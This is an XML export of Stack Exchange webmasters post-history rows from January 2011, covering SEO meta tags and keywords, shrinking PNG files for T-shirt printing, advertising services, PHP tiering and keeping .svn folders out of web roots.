  <row Id="14693" PostHistoryTypeId="5" PostId="7286" RevisionGUID="edf694fb-3700-4773-bc33-6db294855093" CreationDate="2011-01-03T06:20:56.467" UserDisplayName="Kindle 3 Reviews" Comment="added 279 characters in body" Text="I would agree with danlefree, although it might also be advisable to rank the keywords this way, i.e. point #4:&#xD;&#xA;&#xD;&#xA;Kws that your top organic competitors used in their meta list - upon checking that their visitors can actually find them in the corresponding top ten positions for those kws.&#xD;&#xA;&#xD;&#xA;That way your research covers niches, big traffic, PPC competitors (as covered by danlefree) and your organic search competitors - mainly their proven ideas/research actually.&#xD;&#xA;&#xD;&#xA;For the latter, you should create totally unique ad versions to compete with the clever titles and meta descriptions of at least the top 3 organics.&#xD;&#xA;&#xD;&#xA;We are currently working on http://Kindle3World.com and, for the sake of those people who are thinking of moving to cheap ebooks and electronic reading devices, we want to work as hard as we have worked on our 1st page domains... until we make it there with this website. :-)" />
  <row Id="14698" PostHistoryTypeId="5" PostId="2624" RevisionGUID="1f75cb12-85d2-4eba-a550-16d31d6a2293" CreationDate="2011-01-03T09:59:25.037" UserId="3" Comment="deleted 4 characters in body" Text="It's new crimeware related to exploiting facebook.&#xD;&#xA;&#xD;&#xA;eg,&#xD;&#xA;&#xD;&#xA;    &lt;script&gt;&#xD;&#xA;    function fbs_click() {&#xD;&#xA;    u=location.href;&#xD;&#xA;    t=document.title;&#xD;&#xA;    window.open('http://www.facebook.com/sharer.php?u='+encodeURIComponent(u)+'&amp;t='+encodeURIComponent(t),'sharer','toolbar=0,status=0,width=626,height=436');&#xD;&#xA;    return false;&#xD;&#xA;    }&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;a href=&quot;http://www.facebook.com/share.php?u=&lt;url&gt;&quot; onclick=&quot;return fbs_click()&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://b.static.ak.fbcdn.net/rsrc.php/zAB5S/hash/4273uaqa.gif&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;They're looking for some facebook images that are hashed names for stuff. If you look at that link it's the same namesake as a facebook gif. The crimeware is poorly written.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;edit: it may not all be crimeware, just cruddy browser plugins. At any rate, more of these file names are on facebook dev sites. http://forum.developers.facebook.net/viewtopic.php?pid=254475" />
  <row Id="14699" PostHistoryTypeId="2" PostId="7288" RevisionGUID="2552f99f-d855-4ecd-b76b-d5a2caf8269e" CreationDate="2011-01-03T10:01:55.767" UserId="3860" Text="not sure what stackexchange site is the best for this question.&#xD;&#xA;&#xD;&#xA;I have a scanned jpg file with below properties and size 8.5MB&#xD;&#xA;&#xD;&#xA;    pixel dimension: 2468 × 3484 pixels&#xD;&#xA;    print size: 208.96 × 294.98 millimeters&#xD;&#xA;    resolution: 300 × 300 ppi&#xD;&#xA;&#xD;&#xA;I need to save the file as png while the size cannot be bigger than 4MB. The most important is that the size of picture must remain the same. I mean that the object size in the picture must stay the same.&#xD;&#xA;&#xD;&#xA;Could anybody tell me what is used to define the size of the objects in the picture? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="14700" PostHistoryTypeId="1" PostId="7288" RevisionGUID="2552f99f-d855-4ecd-b76b-d5a2caf8269e" CreationDate="2011-01-03T10:01:55.767" UserId="3860" Text="how to save a png as a smaller file but the same resolution?" />
  <row Id="14701" PostHistoryTypeId="3" PostId="7288" RevisionGUID="2552f99f-d855-4ecd-b76b-d5a2caf8269e" CreationDate="2011-01-03T10:01:55.767" UserId="3860" Text="&lt;image&gt;&lt;png&gt;&lt;resolution&gt;" />
  <row Id="14702" PostHistoryTypeId="2" PostId="7289" RevisionGUID="3bee8d6d-568b-471b-b290-d2e9c48495e3" CreationDate="2011-01-03T10:16:41.660" UserDisplayName="JP19" Text="PNG is as lossless format, while JPEG is lossy. So its unlikely that saving as PNG will give you smaller file size. &#xD;&#xA;&#xD;&#xA;You could try one of the following. These will help reduce the size no matter what the format:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1) Reduce color depth&#xD;&#xA;&#xD;&#xA;2) Reduce DPI&#xD;&#xA;&#xD;&#xA;3) Reduce JPEG quality (above 90% quality has very little affect on the picture but increases picture size substantially).  [if you want PNG only, still reduce the JPEG quality first to see if it reduces the final PNG size].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Of course, remember to backup your original image first :)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14703" PostHistoryTypeId="5" PostId="7288" RevisionGUID="9085d84a-1aba-4e12-9c60-84c2768a43b1" CreationDate="2011-01-03T11:04:02.070" UserId="3860" Comment="better explanation" Text="not sure what stackexchange site is the best for this question.&#xD;&#xA;&#xD;&#xA;I have a scanned jpg file with below properties and size 8.5MB&#xD;&#xA;&#xD;&#xA;    pixel dimension: 2468 × 3484 pixels&#xD;&#xA;    print size: 208.96 × 294.98 millimeters&#xD;&#xA;    resolution: 300 × 300 ppi&#xD;&#xA;&#xD;&#xA;I need to save the file as png (to have the pic transparent) while the size cannot be bigger than 4MB. The most important is that the size of picture must remain the same. I mean that the object size in the picture must stay the same.&#xD;&#xA;&#xD;&#xA;Could anybody tell me what is used to define the size of the objects in the picture? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="14704" PostHistoryTypeId="2" PostId="7290" RevisionGUID="1d5226a1-06c4-4262-a869-21f43a8e8b46" CreationDate="2011-01-03T11:28:31.013" UserId="576" Text="Try the [Smush.it image optimization tool][1]&#xD;&#xA;&#xD;&#xA;*It is a &quot;lossless&quot; tool, which means it optimizes the images without changing their look or visual quality.*&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/yslow/smushit/" />
  <row Id="14705" PostHistoryTypeId="2" PostId="7291" RevisionGUID="0fe1bfb7-2ac2-4692-a9db-d1b55b64a975" CreationDate="2011-01-03T12:06:40.370" UserId="4237" Text="You could try [pngcrush][1], which is a command line tool to optimize PNG file sizes.&#xD;&#xA;&#xD;&#xA;&gt; Its main purpose is to reduce the size&#xD;&#xA;&gt; of the PNG IDAT datastream by trying&#xD;&#xA;&gt; various compression levels and PNG&#xD;&#xA;&gt; filter methods&#xD;&#xA;&#xD;&#xA;Again, this is a lossless compressor, and I believe is actually what [smush.it][2] (mentioned in [mvark's answer][3]) uses behind the scenes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pmt.sourceforge.net/pngcrush/&#xD;&#xA;  [2]: http://developer.yahoo.com/yslow/smushit/&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/7288/how-to-save-a-png-as-a-smaller-file-but-the-same-resolution/7290#7290" />
  <row Id="14706" PostHistoryTypeId="5" PostId="7289" RevisionGUID="1da6355c-b78a-4394-9615-d5b0e5be8b37" CreationDate="2011-01-03T12:45:49.817" UserDisplayName="JP19" Comment="deleted 1 characters in body" Text="PNG is a lossless format, while JPEG is lossy. So its unlikely that saving as PNG will give you smaller file size. &#xD;&#xA;&#xD;&#xA;You could try one of the following. These will help reduce the size no matter what the format:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1) Reduce color depth&#xD;&#xA;&#xD;&#xA;2) Reduce DPI&#xD;&#xA;&#xD;&#xA;3) Reduce JPEG quality (above 90% quality has very little affect on the picture but increases picture size substantially).  [if you want PNG only, still reduce the JPEG quality first to see if it reduces the final PNG size].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Of course, remember to backup your original image first :)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14707" PostHistoryTypeId="2" PostId="7292" RevisionGUID="bd618e38-0fe1-4730-9872-7453a181020e" CreationDate="2011-01-03T14:48:04.257" UserId="3461" Text=" - Do not re-save as JPG (or do once as much, at hi quality). Every time you do it, you add new quality loss. Work in png format, and only if you need it, save last version as JPG.&#xD;&#xA;&#xD;&#xA; - tweakPNG tool allows you to remove extra data, but beware not removing essential data(this is not a compressing tool). For compressing it well, I agree on using PNGcrush. I my tests, got the best compression.(there are others: PNGauntlet, Optipng, etc)&#xD;&#xA;&#xD;&#xA; - be sure on why you need to keep 300dpi, that is only needed if you are going to print. Anyway, if you need a lot of detail, reducing it is like reducing pixel detail, and that can be not convenient.(in this case, quite detail needed, but not for print, just reducing to 150 or 200dpi every file might work to keep all objects at same size between files)&#xD;&#xA;&#xD;&#xA; - You mention that the &quot;object size in the picture must remain the same&quot;. If  you were to publish all this only in screen based media, not print, and you reduced all images _only_ in dpi, that is, going from 300dpi, to 72dpi, all objects will be in same proportion(and screens are 72 or 96dpi. Using 300dpi is ok, though). To be able to do this, you can use Photoshop (best) , or even the free irfanview converter, download from irfanview.com.&#xD;&#xA;&#xD;&#xA; - PNG does not preserve DPI info, tho wont loose pixel data and you will be able to restore it with Photoshop. If you need it maintaining the DPIs because target user is not a designer or graphic artist, than you'd better use TIFF format, good for print, supporting transparency and DPIs. But you will need to compress it quite with 7zip, winrar, Winzip or the like.&#xD;&#xA;&#xD;&#xA; - To check you are not loosing info, just be sure pixel dimensions keep the same.(and no jpg saving is done)" />
  <row Id="14708" PostHistoryTypeId="2" PostId="7293" RevisionGUID="ad437ca4-3d93-4ad2-8a24-5acce31d493f" CreationDate="2011-01-03T15:36:52.180" UserId="4263" Text="Best practice would be to do an svn export then move the checkout into the web-root.  Having .svn entries in your folder can lead to open sourcing your code.  At a minimum you need to have your server not allow read access to the .svn entries.  Not having them there at all is the best option.&#xD;&#xA;&#xD;&#xA;Its fairly easy to write a bash or Phing script to do the checkout and move." />
  <row Id="14709" PostHistoryTypeId="2" PostId="7294" RevisionGUID="9db75636-f605-47db-baa7-11f8d142c50e" CreationDate="2011-01-03T16:28:39.460" UserId="2484" Text="I am seeking a self-serv advertising service for my websites, but I have a few restrictions that seem to make what i'm looking for hard to find.  Specifically, I want to place &quot;advertise here&quot; links on my pages and allow end-users to purchase advertising on that site, page, and location.  These ads will not be part of a national network.&#xD;&#xA;&#xD;&#xA; - Supports multi-tenancy - That is, I have a number of domains using the same &quot;web application&quot; but with customized content per domain. When a customer wants to advertise on a given domain, then the ads will only appear on that domain and on that page of the domain (even though the page name may be the same across multiple domains).&#xD;&#xA; - Supports fixed ad prices, not just CPC.  I need monthly and quarterly pricing regardless of performance.&#xD;&#xA; - Integrates with OpenX and other ad networks, so that if there is no self-serv on a given zone, it will use national advertising or direct advertising.&#xD;&#xA;&#xD;&#xA;[Shiny Ads][1] has much of this, but i'm looking for alternatives, as their prices are a bit crazy (20%) and can only do PayPal.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.shinyads.com" />
  <row Id="14710" PostHistoryTypeId="1" PostId="7294" RevisionGUID="9db75636-f605-47db-baa7-11f8d142c50e" CreationDate="2011-01-03T16:28:39.460" UserId="2484" Text="Self-serv advertising service" />
  <row Id="14711" PostHistoryTypeId="3" PostId="7294" RevisionGUID="9db75636-f605-47db-baa7-11f8d142c50e" CreationDate="2011-01-03T16:28:39.460" UserId="2484" Text="&lt;advertising&gt;" />
  <row Id="14712" PostHistoryTypeId="2" PostId="7295" RevisionGUID="94ec2fb7-343f-4061-befe-05ea8b483c0b" CreationDate="2011-01-03T16:34:30.713" UserId="1757" Text="Without using any special tools, you can reduce a PNG's file size by making sure it's ***not* interlaced**.&#xD;&#xA;&#xD;&#xA;Additionally, you can use **indexed colors** and reduce the color palette (always use a local palette rather than a standard palette). Depending on the type of image it is, you could reduce it to 256 colors or even less without much perceptible difference (for gray-scale images, I've reduced it to 180 colors using the proper settings without any noticeable degradation in quality). You'll want to enable dithering though. If there are gradients that show banding, then use &quot;noise&quot; as the dithering mode (as opposed to pattern or diffusion).&#xD;&#xA;&#xD;&#xA;Also, when you use indexed colors, don't force any colors (including transparent, unless you need it). And the palette type *does* matter. In my experience, using a **perceptual** palette can reduce the file size by about 1/3rd.  On the other hand, &quot;adaptive&quot; is the worst local palette.&#xD;&#xA;&#xD;&#xA;Of course, all of this presupposes that PNG is the right compression format for the image in question. If it's a photo-type image, then you should just go with the proper compression method and use JPEG, as that's what it's designed for." />
  <row Id="14713" PostHistoryTypeId="17" PostId="7297" RevisionGUID="44caf0d2-e4ad-4be9-87f6-5d60ffd61673" CreationDate="2011-01-03T16:37:45.823" UserId="-1" Comment="from http://stackoverflow.com/questions/4586282/meta-tage-for-seo/4586295#4586295" Text="" />
  <row Id="14714" PostHistoryTypeId="2" PostId="7297" RevisionGUID="27536538-51b4-4b2c-8f84-775cabc9cef5" CreationDate="2011-01-03T16:37:08.707" UserDisplayName="GolezTrol" Text="They used to be, but today they hardly are. Google ignores them completely and focuses more on the content of the page, and on the content of the links linking to you site." />
  <row Id="14715" PostHistoryTypeId="2" PostId="7296" RevisionGUID="2000a073-f944-413c-b98b-a85ae3b77037" CreationDate="2011-01-03T16:34:38.763" UserDisplayName="user160820" Text="Are the metatags importent for Search engines?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14716" PostHistoryTypeId="1" PostId="7296" RevisionGUID="2000a073-f944-413c-b98b-a85ae3b77037" CreationDate="2011-01-03T16:34:38.763" UserDisplayName="user160820" Text="meta tage for SEO" />
  <row Id="14717" PostHistoryTypeId="3" PostId="7296" RevisionGUID="2000a073-f944-413c-b98b-a85ae3b77037" CreationDate="2011-01-03T16:34:38.763" UserDisplayName="user160820" Text="&lt;seo&gt;" />
  <row Id="14718" PostHistoryTypeId="17" PostId="7296" RevisionGUID="99360fd3-3dcf-4d29-b5d4-899c9683666a" CreationDate="2011-01-03T16:37:45.823" UserId="-1" Comment="from http://stackoverflow.com/questions/4586282/meta-tage-for-seo" Text="" />
  <row Id="14719" PostHistoryTypeId="2" PostId="7298" RevisionGUID="bcde22dc-b3ba-4ee1-9faf-7d877f57506b" CreationDate="2011-01-03T16:50:13.367" UserDisplayName="Web pooh" Text="I've  done  301 redirects  when  you  click  now  on the   404 page  it  goes  to  where  it  should  but the  error  won't  clear  from  webmaster  tools  and  its  been  more  than  a  month  almost  2  ,  additionally    a bunch  of  non existing  pages   that  where  at  some  point  on the   sitemap  but  have  since  been  removed  and   the  sitemap rebuilt  still  show  as  404 ,  this  pages  BTW   are  not  referenced on  any  external  URL and  no  longer  exist  on  the  site  coding   or  sitemaps  , sitemap crawling change  time  where    updated  to .  still  this  errors  remain  like  they  are  stuck  on   Google  cache  the  pages  BTW  they are  not indexed  on  Google   the  wrong  URLs  and  the  non existing   .&#xD;&#xA;&#xD;&#xA;so  i've  search and  search  and   i  found  no  answer  on  how  to   get   Google  to clear  this  pages   that don't  exixt  and are  not linked  anywhere  anymore   " />
  <row Id="14720" PostHistoryTypeId="5" PostId="7292" RevisionGUID="3cd6a974-eae3-4f3b-b9ae-1d5879b3567d" CreationDate="2011-01-03T17:07:42.730" UserId="3461" Comment="added 7 characters in body" Text=" - Do not re-save as JPG (or do once as much, at hi quality). Every time you do it, you add new quality loss. Work in png format, and only if you need it, save last version as JPG.&#xD;&#xA;&#xD;&#xA; - tweakPNG tool allows you to remove extra data, but beware not removing essential data(this is not a compressing tool). For compressing it well, I agree on using PNGcrush. I my tests, got the best compression.(there are others: PNGauntlet, Optipng, etc)&#xD;&#xA;&#xD;&#xA; - be sure on why you need to keep 300dpi, that is only needed if you are going to print. Anyway, if you need a lot of detail, reducing it is like reducing pixel detail, and that can be not convenient.(in this case, quite detail needed, but not for print, just reducing to 150 or 200dpi every file might work to keep all objects at same size between files)&#xD;&#xA;&#xD;&#xA; - You mention that the &quot;object size in the picture must remain the same&quot;. If  you were to publish all this only in screen based media, not print, and you reduced all images _only_ in dpi, that is, going from 300dpi, to 72dpi, all objects will be in same proportion(and screens are 72 or 96dpi. Using 300dpi is ok, though). To be able to do this, you can use Photoshop (best) , or even the free irfanview converter, download from irfanview.com.&#xD;&#xA;&#xD;&#xA; - &lt;s&gt;PNG does not preserve DPI info, tho wont loose pixel data and you will be able to restore it with Photoshop&lt;/s&gt;. If you need it maintaining the DPIs because target user is not a designer or graphic artist, than you'd better use TIFF format, good for print, supporting transparency and DPIs. But you will need to compress it quite with 7zip, winrar, Winzip or the like.&#xD;&#xA;&#xD;&#xA; - To check you are not loosing info, just be sure pixel dimensions keep the same.(and no jpg saving is done)" />
  <row Id="14721" PostHistoryTypeId="5" PostId="7292" RevisionGUID="2b9953b5-1690-40d3-9900-8d4443e446d5" CreationDate="2011-01-03T17:14:50.023" UserId="3461" Comment="edited body; added 38 characters in body; added 46 characters in body" Text=" - Do not re-save as JPG (or do once as much, at hi quality). Every time you do it, you add new quality loss. Work in png format, and only if you need it, save last version as JPG.&#xD;&#xA;&#xD;&#xA; - tweakPNG tool allows you to remove extra data, but beware not removing essential data(this is not a compressing tool). For compressing it well, I agree on using PNGcrush. I my tests, got the best compression.(there are others: PNGauntlet, Optipng, etc)&#xD;&#xA;&#xD;&#xA; - be sure on why you need to keep 300dpi, that is only needed if you are going to print. Anyway, if you need a lot of detail, reducing it is like reducing pixel detail, and that can be not convenient.(in this case, quite detail needed, but not for print, just reducing to 150 or 200dpi every file might work to keep all objects at same size between files)&#xD;&#xA;&#xD;&#xA; - You mention that the &quot;object size in the picture must remain the same&quot;. If  you were to publish all this only in screen based media, not print, and you reduced all images _only_ in dpi, that is, going from 300dpi, to 72dpi, all objects will be in same proportion(and screens are 72 or 96dpi. Using 300dpi is ok, though). To be able to do this, you can use Photoshop (best) , or even the free irfanview converter(its batch mode would become indredibly handy), download from irfanview.com.&#xD;&#xA;&#xD;&#xA; - &lt;s&gt;PNG does not preserve DPI info, tho wont loose pixel data and you will be able to restore it with Photoshop&lt;/s&gt;. If you need it maintaining the DPIs because target user is not a designer or graphic artist, then you'd better use TIFF format, good for print, supporting transparency and DPIs. But you will need to compress it quite with 7zip, winrar, Winzip or the like. (if you need to send it by mail, etc)&#xD;&#xA;&#xD;&#xA; - To check you are not loosing info, just be sure pixel dimensions keep the same.(and no jpg saving is done)" />
  <row Id="14722" PostHistoryTypeId="5" PostId="7292" RevisionGUID="95c0664f-bd5f-47f3-8db0-1407f74243a0" CreationDate="2011-01-03T17:21:08.533" UserId="3461" Comment="added 81 characters in body" Text=" - Do not re-save as JPG (or do once as much, at hi quality). Every time you do it, you add new quality loss. Work in png format, and only if you need it, save last version as JPG.&#xD;&#xA;&#xD;&#xA; - tweakPNG tool allows you to remove extra data, but beware not removing essential data(this is not a compressing tool). For compressing it well, I agree on using PNGcrush. I my tests, got the best compression.(there are others: PNGauntlet, Optipng, etc)&#xD;&#xA;&#xD;&#xA; - be sure on why you need to keep 300dpi, that is only needed if you are going to print. Anyway, if you need a lot of detail, reducing it is like reducing pixel detail, and that can be not convenient.(in this case, quite detail needed, but not for print, just reducing to 150 or 200dpi every file might work to keep all objects at same size between files)&#xD;&#xA;&#xD;&#xA; - You mention that the &quot;object size in the picture must remain the same&quot;. If  you were to publish all this only in screen based media, not print, and you reduced all images _only_ in dpi, that is, going from 300dpi, to 72dpi, all objects will be in same proportion(and screens are 72 or 96dpi. Using 300dpi is ok, though). To be able to do this, you can use Photoshop (best) , or even the free irfanview converter(its batch mode would become indredibly handy), download from irfanview.com.&#xD;&#xA;&#xD;&#xA; - &lt;s&gt;PNG does not preserve DPI info, tho wont loose pixel data and you will be able to restore it with Photoshop&lt;/s&gt;. If you need it maintaining the DPIs because target user is not a designer or graphic artist(does not know how to create a 300dpi document from a file with just pixels info), then you'd better use TIFF format, good for print, supporting transparency and DPIs. But you will need to compress it quite with 7zip, winrar, Winzip or the like. (if you need to send it by mail, etc)&#xD;&#xA;&#xD;&#xA; - To check you are not loosing info, just be sure pixel dimensions keep the same.(and no jpg saving is done)" />
  <row Id="14723" PostHistoryTypeId="2" PostId="7299" RevisionGUID="ec3538bb-8bc8-4084-9582-8c80446a4c75" CreationDate="2011-01-03T17:54:35.027" UserId="4271" Text="How is it that questions posted to the Stack Overflow show up as #1 in Google search results just minutes after being submitted? What SEO practices are being used to generate this sort of up-to-the-minute accuracy?" />
  <row Id="14724" PostHistoryTypeId="1" PostId="7299" RevisionGUID="ec3538bb-8bc8-4084-9582-8c80446a4c75" CreationDate="2011-01-03T17:54:35.027" UserId="4271" Text="StackOverflow and Google search" />
  <row Id="14725" PostHistoryTypeId="3" PostId="7299" RevisionGUID="ec3538bb-8bc8-4084-9582-8c80446a4c75" CreationDate="2011-01-03T17:54:35.027" UserId="4271" Text="&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="14729" PostHistoryTypeId="4" PostId="7294" RevisionGUID="143c47c4-386d-4867-9191-73d6c89d492d" CreationDate="2011-01-03T17:59:40.040" UserId="2484" Comment="edited title" Text="Suggestions for a Self-serv advertising service" />
  <row Id="14731" PostHistoryTypeId="2" PostId="7302" RevisionGUID="eaba0a6d-5c80-4a5b-8cbf-b5c5b973f716" CreationDate="2011-01-03T19:10:47.773" UserId="4064" Text="Depends on what type of metatag you are talking about:&#xD;&#xA;&#xD;&#xA;meta keywords: this tag is useless, googlebot doesn´t even bother with it.&#xD;&#xA;meta description: google uses this tag to create the snippet (text around your link) shown in SERPs.&#xD;&#xA;meta title: google uses this tag to create the snippet (link title) shown in SERPs and is a must-have for ranking criteria.&#xD;&#xA;meta robots: if you set this tag to &quot;noindex,nofollow&quot; Googlebot will honor it, and won't index of follow any page that includes this meta." />
  <row Id="14732" PostHistoryTypeId="2" PostId="7303" RevisionGUID="efebbd68-24f0-40b5-a14f-fd3f73696564" CreationDate="2011-01-03T19:32:13.117" UserId="2621" Text="First of all [pigeons][1] think very highly of the Stack Overflow. But according to [Jeff's post][2] it's not all rose pedals for them.[This][3] is an example of some thing they did to do better at Google. &#xD;&#xA;&#xD;&#xA;But seriously go lookup [pageranking][4], [site indexing][5] and be more specific about what's wrong, or where you would like to improve.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/technology/pigeonrank.html&#xD;&#xA;  [2]: http://www.codinghorror.com/blog/2011/01/trouble-in-the-house-of-google.html&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/6556/does-the-order-of-keywords-matter-in-a-page-title&#xD;&#xA;  [4]: http://www.google.com/support/webmasters/bin/answer.py?answer=35769&#xD;&#xA;  [5]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=70897" />
  <row Id="14733" PostHistoryTypeId="2" PostId="7304" RevisionGUID="caac87a4-083f-453d-b8f7-cf01111f0eb6" CreationDate="2011-01-03T19:32:46.923" UserDisplayName="Ric" Text="I have a requirement from a client for my PHP Web application to be 3-tier.  For example, I would have a web server on Apache in the DMZ, but it should NOT contain any DB connections.  It should connect to a Middle server that would host the business objects but be behind the firewall.  Then those objects connect to my SQL cluster on another server.&#xD;&#xA;&#xD;&#xA;I have actually done this using .NET, but I am not sure how to setup my stack using PHP.  I suppose I could have my UI front tier call the middle tier using REST based web services if I create my middle tier as a second web server, but this seems overly complex.&#xD;&#xA;&#xD;&#xA;The main reason for this is advanced security: we can not have any passwords on the DMZ first tier web server.  The second reason is scalability - to have multiple server on different tiers that can handle the requests.  The Last reason is for deployment - it is easier if I can take one set of servers offline for testing before putting them back in production. &#xD;&#xA;&#xD;&#xA;Is there a open source project that shows how to do this?  The only example I can find is the web server hosting files from a shared drive on another machine (kind of how DotNetNuke pretends to be 3-tier), but that is NOT secure." />
  <row Id="14734" PostHistoryTypeId="1" PostId="7304" RevisionGUID="caac87a4-083f-453d-b8f7-cf01111f0eb6" CreationDate="2011-01-03T19:32:46.923" UserDisplayName="Ric" Text="How to do a 3-tier using PHP" />
  <row Id="14735" PostHistoryTypeId="3" PostId="7304" RevisionGUID="caac87a4-083f-453d-b8f7-cf01111f0eb6" CreationDate="2011-01-03T19:32:46.923" UserDisplayName="Ric" Text="&lt;php&gt;" />
  <row Id="14736" PostHistoryTypeId="2" PostId="7305" RevisionGUID="97cd6ef4-b950-4448-8e2c-8e75b84bfb3f" CreationDate="2011-01-03T19:33:51.773" UserDisplayName="Ric" Text="I am sorry - I put the in the wrong spot!  I will re-ask the question on StackOverFlow" />
  <row Id="14737" PostHistoryTypeId="10" PostId="7304" RevisionGUID="adfae229-5b92-4747-b3e9-70a0a73308c1" CreationDate="2011-01-03T19:47:22.890" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="14741" PostHistoryTypeId="10" PostId="7296" RevisionGUID="901d8bae-873f-4894-9d05-5de6ba945168" CreationDate="2011-01-03T19:48:30.237" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="14742" PostHistoryTypeId="5" PostId="7296" RevisionGUID="915c50d4-fbc5-44a5-88c0-1afda2d58df1" CreationDate="2011-01-03T19:48:30.363" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Are meta keywords worth the effort?](http://webmasters.stackexchange.com/questions/6/are-meta-keywords-worth-the-effort)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Are the metatags importent for Search engines?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14746" PostHistoryTypeId="2" PostId="7307" RevisionGUID="958807d3-c4db-4277-a45d-c95f835af28c" CreationDate="2011-01-03T19:49:59.597" UserId="1253" Text="Sites with high PR and are frequently updated will have their sites crawled more quickly then normal. So it's not a technique, per sé, so much as it is a result of the site being popular and constantly changing." />
  <row Id="14747" PostHistoryTypeId="2" PostId="7308" RevisionGUID="6536a172-bf89-4787-9be0-075a6e3466d6" CreationDate="2011-01-03T20:48:21.240" UserId="1134" Text="So the client wants a multi-colored background (think 4 colors of paint splats randomly all over the page. Because of this the headers are a bit hard to read. I've currently got them set up as black text with some white drop shadow, but it's still pretty hard to read in IE. How can I make the headers legible regardless of what is behind them (it's a CMS so position on the page is liable to change regularly)? " />
  <row Id="14748" PostHistoryTypeId="1" PostId="7308" RevisionGUID="6536a172-bf89-4787-9be0-075a6e3466d6" CreationDate="2011-01-03T20:48:21.240" UserId="1134" Text="Making headers readable on a multi colored background" />
  <row Id="14749" PostHistoryTypeId="3" PostId="7308" RevisionGUID="6536a172-bf89-4787-9be0-075a6e3466d6" CreationDate="2011-01-03T20:48:21.240" UserId="1134" Text="&lt;css&gt;" />
  <row Id="14750" PostHistoryTypeId="2" PostId="7309" RevisionGUID="75c964ba-e53d-4e00-9877-6d5331d59649" CreationDate="2011-01-03T21:30:06.420" UserId="2293" Text="Hmm... readability is essential, and part of design. I think better change background to a more readable format.&#xD;&#xA;&#xD;&#xA;There are no magical rules for making fonts readable. Good contrast with background, nice size and leading, nice fonts... Good choices makes the readability. If background is your problem, try changing other text aspects, or try to change the background, at least on headers." />
  <row Id="14754" PostHistoryTypeId="5" PostId="7288" RevisionGUID="c55c8936-6a15-4a39-9fd8-2db308754096" CreationDate="2011-01-03T21:52:07.633" UserId="3860" Comment="more info" Text="not sure what stackexchange site is the best for this question.&#xD;&#xA;&#xD;&#xA;I have a scanned jpg file with below properties and size 8.5MB&#xD;&#xA;&#xD;&#xA;    pixel dimension: 2468 × 3484 pixels&#xD;&#xA;    print size: 208.96 × 294.98 millimeters&#xD;&#xA;    resolution: 300 × 300 ppi&#xD;&#xA;&#xD;&#xA;I need to save the file as png (to have the pic transparent) while the size cannot be bigger than 4MB. The most important is that the size of picture must remain the same. I mean that the object size in the picture must stay the same.&#xD;&#xA;&#xD;&#xA;Could anybody tell me what is used to define the size of the objects in the picture? &#xD;&#xA;&#xD;&#xA;I use Gimp to edit the file.&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;======&#xD;&#xA;SO what is happening is that a friend of my is an 'artist'. She draws a picture and scans it as jpg and send it to me. Then I work on it little bit ( get rid of some stuff that happened to be in the pic because of the scanning and making transparent what needs to be transparent) and then I send the final file to the printer company to be printed on a T-shirt. &#xD;&#xA;&#xD;&#xA;Last time I did mess it up (no idea what I did wrong) so the objects on the T-shirt were bigger than the original one. Of course my friend didn't like that. So I finding our what I have to careful about. The printing company accepts files in size less than 4MB but her pictures are always bigger than that. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="14755" PostHistoryTypeId="5" PostId="7288" RevisionGUID="9b8457ba-7e9e-4dba-ba41-925dbbc09d3c" CreationDate="2011-01-03T22:08:47.323" UserId="3860" Comment="more info II" Text="not sure what stackexchange site is the best for this question.&#xD;&#xA;&#xD;&#xA;I have a scanned jpg file with below properties and size 8.5MB&#xD;&#xA;&#xD;&#xA;    pixel dimension: 2468 × 3484 pixels&#xD;&#xA;    print size: 208.96 × 294.98 millimeters&#xD;&#xA;    resolution: 300 × 300 ppi&#xD;&#xA;&#xD;&#xA;I need to save the file as png (to have the pic transparent) while the size cannot be bigger than 4MB. The most important is that the size of picture must remain the same. I mean that the object size in the picture must stay the same.&#xD;&#xA;&#xD;&#xA;Could anybody tell me what is used to define the size of the objects in the picture? &#xD;&#xA;&#xD;&#xA;I use Gimp to edit the file.&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;======&#xD;&#xA;SO what is happening is that a friend of my is an 'artist'. She draws a picture and scans it as jpg and send it to me. Then I work on it little bit ( get rid of some stuff that happened to be in the pic because of the scanning and making transparent what needs to be transparent) and then I send the final file to the printer company to be printed on a T-shirt. &#xD;&#xA;&#xD;&#xA;Last time I did mess it up (no idea what I did wrong) or the printing company so the objects on the T-shirt were bigger than the original one. Of course my friend didn't like that. So I finding our what I have to careful about so it will not happen again. The printing company accepts files in size less than 4MB but her pictures are always bigger than that. &#xD;&#xA;&#xD;&#xA;" />
